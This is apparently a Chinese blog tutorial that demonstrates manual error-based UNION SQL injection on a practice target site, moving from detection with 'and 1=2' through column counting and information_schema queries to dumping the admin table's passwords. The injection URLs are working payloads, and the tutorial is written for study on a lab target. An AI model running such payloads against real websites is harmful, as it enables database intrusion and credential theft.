sql显错注入靶机演示

sql注入漏洞作为web层面最高危的漏洞之一,本文将手动演示sql显错注入的整体流程

注:禁止用于实战

那么开始正文部分,首先打开我们的靶场猫舍

http://cntj8003.ia.aqlab.cn/

 可以看到中间有一个“点击查看新闻”,我们点击跳转

发现URL栏多出来了一个?id=1 

我们将?id=1改成id=2,或id=3、id=4、id=5.........试一试

可以发现每一个id都对应一个页面

接下来,回到id=1的页面,在id=1后面加上 and 1=2 ,构建逻辑语句判断该网站是否存在sql显错注入

http://cntj8003.ia.aqlab.cn/?id=1 and 1=2

发现当 and 1=2时,页面不显示内容了,然后我们将 and 1=2改成 and 1=1,发现页面内容又回来了

这里其实就是一个逻辑与运算,可以把前面的可以正常显示的内容看作1,and看作逻辑与运算符,1=2是不成立的,所以可以看作0,1与0进行逻辑与运算得0,所以页面不显示了,而1=1是成立的,所以可以看作1,1与1进行逻辑与运算得1,所以页面又再次有内容了

由此可以判断出该网站存在sql显错注入

接下来使用order by 语句来判断字段数

http://cntj8003.ia.aqlab.cn/?id=1 order by 1

可以发现order by 1和order by 2都能正常显示页面内容,而order by 3就不会正常显示内容了

说明该网站有两个字段

然后使用union select 语句查询回显页面

首先and 1=2先显错,然后构造sql语句

http://cntj8003.ia.aqlab.cn/?id=1 and 1=2 union select 1,2

可以看到在页面中间的位置回显了一个“ 2 ”,说明“ 2 ”这个位置有显错,会回显到页面上来 

将上一步里面的 2 换成 database()

http://cntj8003.ia.aqlab.cn/?id=1 and 1=2 union select 1,database()

发现页面中显示了一个 maoshe 这个就是回显的数据库名

有了数据库名之后,接下来就开始查表名,构造sql语句传入

http://cntj8003.ia.aqlab.cn/?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema= database() limit 0,1

table_name from information_schema.tables的意思是从information_schema下查表名,where table_schema= database()的意思是where约束一下,查当前数据库下的表,limit 0,1的意思是取0到1一条数据,也就是说第0条数据,就是表名

可以看到页面回显了个 admin ,admin 就是表名

获取到表名之后接下来查列名

http://cntj8003.ia.aqlab.cn/?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_name= 'admin' limit 0,1

可以回显出第一个列名

可以看到第一个列名是 Id ,然后我们将limit 0,1 改成limit 1,1 就可以查出第二个列名

可以看到第二个列名是 username ,同理我们可以拿到第三个列名 password

从名字我们就能清楚的看出,Id就是账号,username就是用户名,password就是密码

最后,我们就能直接取出数据库中的数据了

http://cntj8003.ia.aqlab.cn/?id=1 and 1=2 union select 1,password from admin limit 0,1

password from admin limit 0,1 从admin表中取出password中的第一个数据

页面回显出了hellohack ,这个就是password中的第一个数据,也就是第一个密码

同理我们可以取出admin表中的所有数据

admin
Idusernamepassword
1adminhellohack
2ppt领取微信zkaqbanban

以上就是手动注入的流程

本文用于学习使用,禁止做违法的事情!

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值